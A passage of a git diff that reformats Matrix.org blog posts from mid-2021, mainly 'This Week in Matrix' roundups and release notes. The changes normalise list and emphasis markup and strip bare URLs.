    Amazing to see @Navy_Innovation showing off low-bandwidth @matrixdotorg decentralised comms to 1SL (Head of the @RoyalNavy) using Titanium: our CivTAK Matrix plugin. At this rate Matrix is on track to become the common language across the entire public sector!⚓️📻🇬🇧 https://t.co/UDIA2GBVm9

    — Element (@element_hq) July 23, 2021 @@ -336,6 +339,7 @@ Welcome Robert! Can't wait to see progress here. We'll even bring back the Dept Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -352,6 +356,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|roeckx.be|1696| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/07/2021-07-26-dendrite-0-4-1-released.md b/content/blog/2021/07/2021-07-26-dendrite-0-4-1-released.md index 5c35b4714..f7b749e88 100644 --- a/content/blog/2021/07/2021-07-26-dendrite-0-4-1-released.md +++ b/content/blog/2021/07/2021-07-26-dendrite-0-4-1-released.md @@ -21,7 +21,7 @@ doesn't cover yet) we'll be declaring a 1.0 :) If you're running Dendrite, please upgrade. If not, perhaps this would be a good version to give it a try? You can get it, as always from, -https://github.com/matrix-org/dendrite/releases/tag/v0.4.1. The changelog +. The changelog follows: ### Features diff --git a/content/blog/2021/07/2021-07-27-element-raises-30m-to-boost-matrix.md b/content/blog/2021/07/2021-07-27-element-raises-30m-to-boost-matrix.md index ef2337872..94e22ef36 100644 --- a/content/blog/2021/07/2021-07-27-element-raises-30m-to-boost-matrix.md +++ b/content/blog/2021/07/2021-07-27-element-raises-30m-to-boost-matrix.md @@ -28,23 +28,23 @@ but suffice it to say that this is enormous news for the Matrix ecosystem as a whole. In addition to transforming the Element app, on the Matrix side this means that there is now concrete funding secured to: - * finish building out [P2P Matrix](https://matrix.org/blog/2021/05/06/introducing-the-pinecone-overlay-network) +* finish building out [P2P Matrix](https://matrix.org/blog/2021/05/06/introducing-the-pinecone-overlay-network) and get it live (including finishing Dendrite, given our P2P work builds on Dendrite!) - * implement [native decentralised E2EE voip/video conferencing](https://twitter.com/matrixdotorg/status/1419820122143961093) for Matrix +* implement [native decentralised E2EE voip/video conferencing](https://twitter.com/matrixdotorg/status/1419820122143961093) for Matrix - * fully build out our +* fully build out our [relative decentralised reputation system](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors) in order to combat abuse in Matrix. Obviously this is in addition to all the normal business-as-usual work going on in terms of: - * getting [Spaces](https://element.io/blog/spaces-the-next-frontier/) out of beta - * adding Threading to Element (yes, it's finally happening!) - * speeding up room joins over federation - * creating 'sync v3' to lazy-load all content and make the API super-snappy - * lots of little long-overdue fun bits and pieces (yes, custom emoji, we're looking at you). +* getting [Spaces](https://element.io/blog/spaces-the-next-frontier/) out of beta +* adding Threading to Element (yes, it's finally happening!) +* speeding up room joins over federation +* creating 'sync v3' to lazy-load all content and make the API super-snappy +* lots of little long-overdue fun bits and pieces (yes, custom emoji, we're looking at you). If you're wondering whether Protocol Labs' investment means that we'll be seeing more overlap between [IPFS](https://ipfs.io) and Matrix, then yes - diff --git a/content/blog/2021/07/2021-07-30-this-week-in-matrix-2021-07-30.md b/content/blog/2021/07/2021-07-30-this-week-in-matrix-2021-07-30.md index 437217562..7d54c4942 100644 --- a/content/blog/2021/07/2021-07-30-this-week-in-matrix-2021-07-30.md +++ b/content/blog/2021/07/2021-07-30-this-week-in-matrix-2021-07-30.md @@ -18,7 +18,7 @@ Let's learn about PyQuotient with Vlad and Alexey. ## Dept of *Status of Matrix* 🌡️ -### Element raises $30M as Matrix explodes! +### Element raises $30M as Matrix explodes At first when I read the headline I was scared - *explodes*? How can I protect myself from this explosion? After a [moment of reading this huge news](https://element.io/blog/element-raises-30m-as-matrix-explodes/), however, I was relieved - Matrix has *exploded in popularity*, and [Element](https://element.io/) have all new funding to keep driving the ecosystem forward. Let's go! @@ -28,25 +28,26 @@ At first when I read the headline I was scared - *explodes*? How can I protect m [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announced: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > > **New MSCs:** > -> * _There were no new MSCs created this week._ +> * *There were no new MSCs created this week.* > > **MSCs with proposed Final Comment Period:** > -> * _No MSCs entered proposed FCP state this week._ +> * *No MSCs entered proposed FCP state this week.* > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **Merged MSCs:** > > * [MSC3083: Restricting room membership based on membership in other rooms](https://github.com/matrix-org/matrix-doc/pull/3083) +> > #### Spec Updates > > While a quiet week for MSC state changes (shown above), there's still plenty of work and collaboration happening! @@ -57,8 +58,6 @@ At first when I read the headline I was scared - *explodes*? How can I protect m > > Finally, [MSC3289](https://github.com/matrix-org/matrix-doc/pull/3289) (room v8) is ticking along as the implementation is tested in Synapse and Complement tests. - - ![2021-07-30-7paYt-stacked_area_chart.png](/blog/img/2021-07-30-7paYt-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -69,9 +68,9 @@ Synapse is a popular homeserver written in Python. [callahad](https://matrix.to/#/@callahad:matrix.org) told us: -> [Synapse 1.39.0](https://matrix.org/blog/2021/07/29/synapse-1-39-0-released) is out! +> [Synapse 1.39.0](https://matrix.org/blog/2021/07/29/synapse-1-39-0-released) is out! > -> Of all the pull requests we landed, my hat is off to MadLittleMods and his Graphviz prowess in [#10250](https://github.com/matrix-org/synapse/pull/10250), which moves us one step further down the path toward _[MSC2716](https://github.com/matrix-org/matrix-doc/pull/2716): Incrementally importing history into existing rooms._ Mmm. Graphs. +> Of all the pull requests we landed, my hat is off to MadLittleMods and his Graphviz prowess in [#10250](https://github.com/matrix-org/synapse/pull/10250), which moves us one step further down the path toward *[MSC2716](https://github.com/matrix-org/matrix-doc/pull/2716): Incrementally importing history into existing rooms.* Mmm. Graphs. > > But back to Synapse! You should check out the [release announcement](https://matrix.org/blog/2021/07/29/synapse-1-39-0-released), but the bulk of the work this cycle went into internal cleanups. Synapse should also be slightly more performant, reliable, and should log fewer spurious errors. Of note, ShadowJonathan did a lot of work with `pyupgrade` and `com2ann` to move the entire codebase to more modern Py3.6+ conventions and inline type annotations; thanks, ShadowJonathan! > @@ -87,7 +86,7 @@ Synapse is a popular homeserver written in Python. > Hello! This week, I created a [matrix 1-click app](https://marketplace.digitalocean.com/apps/matrix-synapse-backend) on the DigitalOcean marketplace. It's basically a pre-baked droplet image that is pre-configured with synapse, element-web, caddy, postgres, plus some setup and moderation tools. My intent was to make self-hosting a Matrix system as easy as pointing some DNS records and running a single script. It makes a lot of sense for smaller, more casual Matrix homeservers, and can serve as a good starting point! It also includes some small utility scripts - `./reset-password`, `./new-user`, etc. > -> Secrets like the postgres password and registration password are generated on first boot, there's no sensitive data baked into the image. Of course, it would be nice to be able to verify this - the source code used to build the image is being open sourced. I'm just waiting for some internal processes to finish. It will show up at https://github.com/digitalocean/marketplace-matrix somewhat soon! +> Secrets like the postgres password and registration password are generated on first boot, there's no sensitive data baked into the image. Of course, it would be nice to be able to verify this - the source code used to build the image is being open sourced. I'm just waiting for some internal processes to finish. It will show up at somewhat soon! ## Dept of Bridges 🌉 @@ -150,12 +149,12 @@ Synapse is a popular homeserver written in Python. > > * Sending/receiving encrypted text messages and attachments > -> You can find more about Cinny at https://cinny.in +> You can find more about Cinny at > > Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) -> Github: https://github.com/ajbura/cinny +> Github: > -> Twitter: https://twitter.com/@cinnyapp +> Twitter: ![2021-07-30-h1N8o-preview-butter.png](/blog/img/2021-07-30-h1N8o-preview-butter.png) @@ -173,24 +172,32 @@ Something something expands until it reads... Matrix? Updates from the teams + **VoIP** -- 1:1 screen sharing is now merged and on develop! Please give it a try and report bugs - plan is for it to go out in the release after next (ie. two weeks from Monday). Huge thanks to Simon for working on this. -- Simon also has PRs up for mute status signalling, done via [MSC3291](https://github.com/matrix-org/matrix-doc/pull/3291) -- Fixing the bug where the buttons in a call don’t work in full screen mode +* 1:1 screen sharing is now merged and on develop! Please give it a try and report bugs - plan is for it to go out in the release after next (ie. two weeks from Monday). Huge thanks to Simon for working on this. +* Simon also has PRs up for mute status signalling, done via [MSC3291](https://github.com/matrix-org/matrix-doc/pull/3291) +* Fixing the bug where the buttons in a call don’t work in full screen mode + + **Web** -- v1.7.34-rc.1 is out (maybe even .2 by the time you read this) - full release planned for Monday -- Continuing to figure out a plan of attack for threading -- Looking at message bubble feedback & fixing bugs -- Also looking at fixing blurhash bugs +* v1.7.34-rc.1 is out (maybe even .2 by the time you read this) - full release planned for Monday +* Continuing to figure out a plan of attack for threading +* Looking at message bubble feedback & fixing bugs +* Also looking at fixing blurhash bugs + + **iOS** -- The coming release, 1.4.8, which is available on TestFlight, supports voice messages. The feature is under a labs setting. DM and room tabs now contain only rooms. Local contacts and the public rooms directory can be found elsewhere in the UI. Full changelog at https://github.com/vector-im/element-ios/releases/tag/v1.4.8. -- We continue to make good progress on papercuts (https://github.com/vector-im/element-ios/milestone/58) and the overall app stabilisation. +* The coming release, 1.4.8, which is available on TestFlight, supports voice messages. The feature is under a labs setting. DM and room tabs now contain only rooms. Local contacts and the public rooms directory can be found elsewhere in the UI. Full changelog at . +* We continue to make good progress on papercuts () and the overall app stabilisation. + + **Android** -- Release candidate 1.1.15 is getting prepared. It will include voice messages, under a lab flag. -- Some bugs on the crypto part have been fixed, it should improve the performance on e2e rooms. + +* Release candidate 1.1.15 is getting prepared. It will include voice messages, under a lab flag. +* Some bugs on the crypto part have been fixed, it should improve the performance on e2e rooms. ### FluffyChat v0.35.0 has been released @@ -200,7 +207,7 @@ Updates from the teams > This release introduces stickers and a lot of minor bug fixes and improvements. > -> #### All changes: +> #### All changes > > #### Feature > @@ -252,7 +259,7 @@ Updates from the teams > > Besides improving the Matrix ecosystem, Devin has been helping the Rust ecosystem at large by writing some Clippy lints to improve our codebase and upstreaming his additions. > -> Read more here: https://ruma.dev/news/gsoc-2021-intro/. +> Read more here: . ## Dept of Ops 🛠 @@ -295,7 +302,7 @@ Updates from the teams > > We are currently creating a schedule and we have open slots for talks and workshops! > -> If you like to present your topic or just help out please contact me ([@oleg:fiksel.info](https://matrix.to/#/@oleg:fiksel.info)) (or oleg@fiksel.info) now! Language is preferably German, but English is also ok. +> If you like to present your topic or just help out please contact me ([@oleg:fiksel.info](https://matrix.to/#/@oleg:fiksel.info)) (or ) now! Language is preferably German, but English is also ok. > > See you at [#FrOSCon:fiksel.info](https://matrix.to/#/#FrOSCon:fiksel.info) 😉 @@ -334,19 +341,17 @@ Updates from the teams > Any problems, ideas and feedback is highly welcome as a github issue or in the matrix channel #TheBoard:matrix.org. > > -> #### TLDR: +> #### TLDR > > This project is whiteboard (similar to OneNote) which is > > using Matrix as its backend. All your drawings are stored in matrix rooms > on your matrix server and are accessible to anyone who is invited. > -> Try It out at: https://toger5.github.io/TheBoard _As always: use at your own Risk_ +> Try It out at: *As always: use at your own Risk* > > Join the matrix channel at: #TheBoard:matrix.org -> Github: https://github.com/toger5/TheBoard - - +> Github: ![2021-07-30-A8NSR-screenshotTWIM.png](/blog/img/2021-07-30-A8NSR-screenshotTWIM.png) @@ -354,17 +359,17 @@ Updates from the teams [Chris](https://matrix.to/#/@chris:settgast.org) announced: -> Thanks to the awesome https://serverstats.nordgedanken.dev project by MTRNord my small server version history graph now contains more of the matrix fediverse: We went from ~3000 to over 5000 active visible homeservers on https://graph.settgast.org/ +> Thanks to the awesome project by MTRNord my small server version history graph now contains more of the matrix fediverse: We went from ~3000 to over 5000 active visible homeservers on Two superb projects combining forces! I've long been a fan of Chris' graphs for tracking the growth of the server ecosystem. ## Matrix in the News 📰 -### Famedly in the news! +### Famedly in the news [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) offered: -> Famedly in the news! https://e-health-com.de/details-news/messenger-am-uk-frankfurt-ermoeglicht-simultane-ueberfuehrung-von-chats-in-die-patientendokumentation/ +> Famedly in the news! ## Final Thoughts 💭 @@ -381,6 +386,7 @@ Two superb projects combining forces! I've long been a fan of Chris' graphs for Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -397,6 +403,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|catvibers.me|1801.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/08/2021-08-06-this-week-in-matrix-2021-08-06.md b/content/blog/2021/08/2021-08-06-this-week-in-matrix-2021-08-06.md index 6e88ef3c7..ba006e06e 100644 --- a/content/blog/2021/08/2021-08-06-this-week-in-matrix-2021-08-06.md +++ b/content/blog/2021/08/2021-08-06-this-week-in-matrix-2021-08-06.md @@ -42,7 +42,7 @@ Super psyched to welcome the Ansible community to Matrix! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -52,7 +52,7 @@ Super psyched to welcome the Ansible community to Matrix! > > **MSCs with proposed Final Comment Period:** > -> * _No MSCs entered proposed FCP state this week._ +> * *No MSCs entered proposed FCP state this week.* > > **MSCs in Final Comment Period:** > @@ -60,7 +60,7 @@ Super psyched to welcome the Ansible community to Matrix! > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* > > **Closed MSCs:** > @@ -68,6 +68,7 @@ Super psyched to welcome the Ansible community to Matrix! > * [MSC3306: Counting unread messages](https://github.com/matrix-org/matrix-doc/pull/3306) > > * [MSC3302: Stories via To-Device-Messaging](https://github.com/matrix-org/matrix-doc/pull/3302) +> > #### Spec Updates > > Work on the new spec release continues, and the infrastructure side of it is [making progress](https://github.com/matrix-org/matrix-doc/pull/3310). Once its in place, there are a [few more changes to the spec content](https://github.com/matrix-org/matrix-doc/pull/2844#issuecomment-892040300), before it'll be ready. Watch this space! @@ -88,13 +89,13 @@ Super psyched to welcome the Ansible community to Matrix! ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) announced: > Hey everyone, I want to release the first major version of Conduit in a few weeks and I need your help! > -> Almost all features are on the master branch already, so please try to deploy your own Conduit now and try to find bugs. See https://gitlab.com/famedly/conduit +> Almost all features are on the master branch already, so please try to deploy your own Conduit now and try to find bugs. See > > State res has been tested a lot, so it's okay to join any public rooms (room version 6 preferred). > @@ -132,7 +133,7 @@ The list of Matrix clients is getting larger and larger! And it's not only chat > > This release only targets minor design improvements and bug fixes. > -> #### All changes: +> #### All changes > > * design: Make unread rooms in the list more visible > @@ -185,6 +186,7 @@ And if that's not enough for you, since it's demo week, Nico's also showing off Updates from the teams + **Delight team** * [MSC3289](https://github.com/matrix-org/matrix-doc/pull/3289) has entered FCP, adding support for Room Version 8, which includes support for [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on membership in other rooms). @@ -192,10 +194,12 @@ Updates from the teams * We’re adding pagination to the Spaces Summary API to improve support for spaces with large numbers of rooms when browsing Spaces room lists * On iOS, we’ve been working on suggesting Spaces in room lists + **VoIP** * Mute status signalling now landed on develop! Thanks again to Simon. + **Web** * Voice messages! They’re out on develop.element.io and planning to go out for release soon. Let us know if you run into any issues, or have suggestions on how to make it better. @@ -205,6 +209,7 @@ Updates from the teams * Some iteration and bug fixing to image blur hashes and message bubbles * Full steam ahead on threading, we have a backend for it in js-sdk + **iOS** * Same thing for voice messages as web ^ @@ -214,6 +219,7 @@ Updates from the teams * Blank notifications (“Message”) are being fixed and improved. There will still be a fallback notification content but it should happen less often. In this case, we will display “Notification” * In parallel, we are continuing working on performance improvements. We still target an instant start for XL accounts (with thousands of rooms) + **Android** * Same thing for voice messages as web ^ + fixed a rare crash @@ -254,11 +260,11 @@ Updates from the teams > > * All sensitive information including messages are encrypted at rest with Sailfish Secrets > -> You can download Sailtrix at https://openrepos.net/content/hengyedev/sailtrix +> You can download Sailtrix at > > Discussion takes place at our matrix channel at [#sailtrix:matrix.org](https://matrix.to/#/#sailtrix:matrix.org) > -> GitLab Repository: https://gitlab.com/HengYeDev/harbour-sailtrix +> GitLab Repository: ### Fractal @@ -272,7 +278,7 @@ Updates from the teams ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) told us: @@ -290,103 +296,103 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > > #### Added > -> - Navigation keybinds: -> - `Keys.quit` keybind to exit the application, unbound by default +> * Navigation keybinds: +> * `Keys.quit` keybind to exit the application, unbound by default > -> - `Keys.earlier_page` and `Keys.later_page` keybinds to navigate the pages/chats history, Ctrl+H/Left and Ctrl+L/Right by default +> * `Keys.earlier_page` and `Keys.later_page` keybinds to navigate the pages/chats history, Ctrl+H/Left and Ctrl+L/Right by default > -> - Mouse button 4/5 can now be used to navigate the history +> * Mouse button 4/5 can now be used to navigate the history > -> - `General.wrap_history` setting, affects the behavior of history navigation +> * `General.wrap_history` setting, affects the behavior of history navigation > -> - `Keys.Rooms.Direct` section, allowing keybinds to jump to specific rooms +> * `Keys.Rooms.Direct` section, allowing keybinds to jump to specific rooms > -> - `Keys.Rooms.oldest_unread`/`latest_unread` to jump to the room with the oldest or newest unread message, by default Ctrl(+Shift)+U +> * `Keys.Rooms.oldest_unread`/`latest_unread` to jump to the room with the oldest or newest unread message, by default Ctrl(+Shift)+U > -> - `Keys.Rooms.oldest_highlight`/`latest_highlight`, same as above but only considers rooms where you've been mentioned/replied to/etc, by default Ctrl(+Shift)+H +> * `Keys.Rooms.oldest_highlight`/`latest_highlight`, same as above but only considers rooms where you've been mentioned/replied to/etc, by default Ctrl(+Shift)+H > -> - Ignoring users: -> - Ignore option in the context menu for room members +> * Ignoring users: +> * Ignore option in the context menu for room members > -> - Ignore option when rejecting invites +> * Ignore option when rejecting invites > -> - Editable ignored users list in account settings +> * Editable ignored users list in account settings > -> - Invites and messages from ignored users are silently discarded. +> * Invites and messages from ignored users are silently discarded. > Their display name, avatar and presence are removed. > They will also always be placed at the bottom of the room member list. > -> - Status messages history in the left pane account context menu, and auto-suggestion for the status field. +> * Status messages history in the left pane account context menu, and auto-suggestion for the status field. > The number of saved entries can be controlled with `Presence.saved_status`. > -> - "Add another account" entry in the top left settings menu +> * "Add another account" entry in the top left settings menu > -> - Copiable room ID field in the room settings pane +> * Copiable room ID field in the room settings pane > -> - Back button in account settings and server browser when the window is too narrow to show the side panes +> * Back button in account settings and server browser when the window is too narrow to show the side panes > -> - Escape key handling in the account settings, server browser and add chat pages +> * Escape key handling in the account settings, server browser and add chat pages > -> - Support for rendering HTML `
    ` lines (markdown `---`) in messages +> * Support for rendering HTML `
    ` lines (markdown `---`) in messages > > #### Changed > -> - Keybinds: -> - `Keys.messages.clear_all` default keybind is now Ctrl+Shift+L +> * Keybinds: +> * `Keys.messages.clear_all` default keybind is now Ctrl+Shift+L > -> - `Keys.Account.AtIndex` keybinds will consistently move to the corresponding account settings, instead of skipping to the first room if the account is expanded in the left pane +> * `Keys.Account.AtIndex` keybinds will consistently move to the corresponding account settings, instead of skipping to the first room if the account is expanded in the left pane > -> - `Keys.messages.open_links_files`(`_externally`): ignore matrix.to user and room mention links +> * `Keys.messages.open_links_files`(`_externally`): ignore matrix.to user and room mention links > -> - Presence: -> - Allow using the invisible mode on servers not supporting presence, which will still prevent sending typing notifications and read marker updates +> * Presence: +> * Allow using the invisible mode on servers not supporting presence, which will still prevent sending typing notifications and read marker updates > -> - Restore any previously set status message when reconnecting after being offline, unless another one has been set from a different client +> * Restore any previously set status message when reconnecting after being offline, unless another one has been set from a different client > -> - Render set status message striked out while invisible/offline to indicate that it isn't being broadcasted +> * Render set status message striked out while invisible/offline to indicate that it isn't being broadcasted > -> - Error popup: -> - Multiple unexpected errors will be combined into a single popup, instead of opening a new one for every error +> * Error popup: +> * Multiple unexpected errors will be combined into a single popup, instead of opening a new one for every error > -> - Report button now links to Github issues +> * Report button now links to Github issues > -> - More details shown for matrix errors +> * More details shown for matrix errors > -> - Messages: -> - Require a space after the `#` for markdown titles +> * Messages: +> * Require a space after the `#` for markdown titles > -> - Render matrix.to URL in messages as shorter hyperlinks +> * Render matrix.to URL in messages as shorter hyperlinks > -> - Left pane rooms: -> - Last message display: shorten long "In reply to..." prefixes for the message to be shown as "↩ <name>: <reply>" +> * Left pane rooms: +> * Last message display: shorten long "In reply to..." prefixes for the message to be shown as "↩ <name>: <reply>" > -> - Show the inviter for invites where the room has an explicit name/alias set +> * Show the inviter for invites where the room has an explicit name/alias set > -> - Leave, decline invite and forget room options are merged into an unified popup +> * Leave, decline invite and forget room options are merged into an unified popup > -> - Raise default `General.tooltips_delay` from 0.5 to 0.7s +> * Raise default `General.tooltips_delay` from 0.5 to 0.7s > -> - Updated headers UI navigation arrow icons +> * Updated headers UI navigation arrow icons > -> - Misc UI text changes for shortness and consistency +> * Misc UI text changes for shortness and consistency > > #### Fixed > -> - Fix error popup appearing when invalid room events appear in syncs +> * Fix error popup appearing when invalid room events appear in syncs > -> - Fix parsing of URL in messages containing some special characters +> * Fix parsing of URL in messages containing some special characters > -> - Left pane rooms last message display: fix `> quote` right after another quote not getting colored +> * Left pane rooms last message display: fix `> quote` right after another quote not getting colored > -> - Fix the forgetting rooms feature +> * Fix the forgetting rooms feature > -> - Fix rendering status messages containing HTML-unsafe characters +> * Fix rendering status messages containing HTML-unsafe characters > -> - Fix chat bottom bar for invited/left rooms glitching at certain sizes or not properly updating when the room's state changes +> * Fix chat bottom bar for invited/left rooms glitching at certain sizes or not properly updating when the room's state changes > -> - Prevent theme `animationDuration` property from affecting the speed of loading spinners, progress bars, server ping indicators and image rotation button cooldown +> * Prevent theme `animationDuration` property from affecting the speed of loading spinners, progress bars, server ping indicators and image rotation button cooldown > -> - Hopefully fix account presence stuck flickering between two states +> * Hopefully fix account presence stuck flickering between two states > > --- > @@ -412,7 +418,7 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > * And the repository got a lot of love with more details in the [readme](https://github.com/toger5/TheBoard/blob/main/readme.md) and better code/folder structure. > * There is now also a matrix room for feedback, issues and ideas: [#TheBoard:matrix.org](https://matrix.to/#/#TheBoard:matrix.org) > -> Feel free to try it at: https://toger5.github.io/TheBoard/ (preferable not with your main matrix account) +> Feel free to try it at: (preferable not with your main matrix account) ![2021-08-06-VnEJJ-image.png](/blog/img/2021-08-06-VnEJJ-image.png) @@ -445,25 +451,25 @@ If you want to know more about this project, feel free to join [#circles:matrix. ## Dept of SDKs and Frameworks 🧰 -### Version 1.6.0 of Simple-Matrix-Bot-Lib is released! +### Version 1.6.0 of Simple-Matrix-Bot-Lib is released [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) announced: -> #### Changes: +> #### Changes > > * Feature: Sending images is now possible via `bot.api.send_image_message`. An example and more information about this can be found [here](https://simple-matrix-bot-lib.readthedocs.io/en/latest/manual.html#using-the-send-image-message-method). > > * Fix: There was a bug in which the bot would print the join message twice. This is now patched. -> #### Notes: +> +> #### Notes > > * Version 2.0.0 of Simple-Matrix-Bot-Lib will be available on pypi soon with incompatible changes, so make sure to specify the version of Simple-Matrix-Bot-Lib in your dependencies to `simplematrixbotlib >= 1.6.0, < 2.0.0` until your code is compatible with the new syntax. Check TWIM next week to learn more about the new changes. - ### mautrix-* [Tulir](https://matrix.to/#/@tulir:maunium.net) offered: -> I moved all the mautrix bridges and libraries to a fancy new org: https://github.com/mautrix +> I moved all the mautrix bridges and libraries to a fancy new org: > > GitLab and/or Docker haven't invented redirects yet, so docker registries are split: the old `dock.mau.dev/tulir/mautrix-*` paths will keep working for old versions, but new images will be at `dock.mau.dev/mautrix/*`. @@ -490,12 +496,11 @@ And because Synapse started feeling a bit lonely being the only one with a Helm Rejoice! Now Dendrite aficionados have even more ways to enjoy our next-generation homeserver! - ### mxadm [Jez (he/him)](https://matrix.to/#/@jez:petrichor.me) told us: -> I've released `mxadm`, a small CLI tool for Matrix room admin that I've been working on for a few weeks; more details here: https://erambler.co.uk/blog/introducing-mxadm/ +> I've released `mxadm`, a small CLI tool for Matrix room admin that I've been working on for a few weeks; more details here: ## Dept of Interesting Projects 🛰️ @@ -503,7 +508,7 @@ Rejoice! Now Dendrite aficionados have even more ways to enjoy our next-generati [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) announced: -> _This is part of the server_stats project_ +> *This is part of the server_stats project* > > Part of the ServerStats Project is to use the data to build various charts. This project is currently still in progress to be written using RLang. > @@ -511,7 +516,7 @@ Rejoice! Now Dendrite aficionados have even more ways to enjoy our next-generati > > Also the website for those statistics got fully overhauled to feel more modern. > -> Check it out at https://stats.serverstats.nordgedanken.dev or the Source at https://github.com/mx-serverstats/server_stats_web_statistics +> Check it out at or the Source at ![2021-08-06-StyGT-image.png](/blog/img/2021-08-06-StyGT-image.png) @@ -521,9 +526,9 @@ Rejoice! Now Dendrite aficionados have even more ways to enjoy our next-generati [~creme](https://matrix.to/#/@creme:envs.net) announced: -> envs.net _(@cblte:envs.net and @creme:envs.net)_ has forked the TU-Dresden matrix/element help documentation - https://doc.matrix.tu-dresden.de/en/ _(used [hugo](https://gohugo.io/) ssg)_. +> envs.net *(@cblte:envs.net and @creme:envs.net)* has forked the TU-Dresden matrix/element help documentation - *(used [hugo](https://gohugo.io/) ssg)*. > -> Our fresh help page can be found at: **https://matrix-help.envs.net/** and now uses a simpler ssg called [mkdocs](https://www.mkdocs.org/). +> Our fresh help page can be found at: **** and now uses a simpler ssg called [mkdocs](https://www.mkdocs.org/). > > We decided to fork the existing documentation of the TU-Dresden to make it easier to use. In addition, the project envs.net already uses mkdocs for its existing documentation. > @@ -558,6 +563,7 @@ Rejoice! Now Dendrite aficionados have even more ways to enjoy our next-generati Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -574,6 +580,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.org|2030| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/08/2021-08-10-synapse-1-40-0-released.md b/content/blog/2021/08/2021-08-10-synapse-1-40-0-released.md index b45ec8519..8adc87256 100644 --- a/content/blog/2021/08/2021-08-10-synapse-1-40-0-released.md +++ b/content/blog/2021/08/2021-08-10-synapse-1-40-0-released.md @@ -13,7 +13,7 @@ Synapse 1.40.0 is out now! This release of Synapse includes stable support for [Room Version 8](https://github.com/matrix-org/matrix-doc/pull/3289)! Version 8 codifies a concept of "[restricted rooms](https://github.com/matrix-org/matrix-doc/pull/3083)" which are private rooms joinable only by direct invitation or by being a member of other, designated Spaces / rooms. -This means you can create a Matrix Space for your company, team, or guild, and instead of inviting people to the Space _and_ directly to a bunch of private rooms, you can simply configure your private rooms such that membership in the Space *automatically* confers access to the private rooms. +This means you can create a Matrix Space for your company, team, or guild, and instead of inviting people to the Space _and_ directly to a bunch of private rooms, you can simply configure your private rooms such that membership in the Space _automatically_ confers access to the private rooms. This is a major improvement to access control in Matrix, and we can't wait to use it ourselves. diff --git a/content/blog/2021/08/2021-08-13-this-week-in-matrix-2021-08-13.md b/content/blog/2021/08/2021-08-13-this-week-in-matrix-2021-08-13.md index bcd7d00da..7a8516461 100644 --- a/content/blog/2021/08/2021-08-13-this-week-in-matrix-2021-08-13.md +++ b/content/blog/2021/08/2021-08-13-this-week-in-matrix-2021-08-13.md @@ -22,7 +22,7 @@ image = "https://matrix.org/blog/img/2021-08-13-s-1xM-ement-for-twim.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) offered: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. 